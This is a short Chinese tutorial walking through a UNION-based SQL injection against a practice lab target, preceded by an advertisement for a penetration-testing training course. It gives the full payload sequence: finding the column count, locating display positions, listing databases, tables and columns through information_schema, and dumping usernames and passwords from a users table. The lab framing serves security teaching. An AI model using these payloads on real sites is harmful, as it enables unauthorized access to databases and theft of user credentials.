SQL注入靶机(整形注入实验)
2019年04月03日 19:43:51 | 作者:LoadKnight | 阅读数:3730209 | |
网络安全渗透测试北京实地培训,五个月华丽蜕变,零元入学,报名联系:15320004362(手机同微信)。全国诚招招生代理,最低2000元起 | |||
首先要判断是什么类型的注入(由于是整形注入靶机取消这一步) 判断列数 order by 6 -确定是6列,因为设置超过6页面报错 判断显示位 id=-1 union select 1,2,3,4,5,6 id改成一个不存在的值,让他报错 可判断显示位为2,3 修改要查询的内容比如用户名和数据库名字 id = -1 union select 1,database(),user(),4,5,6 查询所有数据库的名字(默认保存在information_schema.schemata表中schema_name列) select * from article where id = -1 union select 1,schema_name,3,4,5,6 from information_schema.schemata 可以查询到,但是只显示了一列,我们需要查询所有列 所以用group_concat来将其显示为一列 select * from article where id = -1 union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata 发现了db_baji的数据库 然后在information_schema.tables这个表中查询table_name,限制条件是db_baji数据库 select * from article where id = -1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema="db_baji" 发现了users 再查询表中的 select * from article where id = -1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema="db_baji" and table_name="users" 查到username列 password列 可以查询具体内容 select * from article where id = -1 union select 1,group_concat(concat_ws(0x23,username,password)),3,4,5,6 from users 成功! |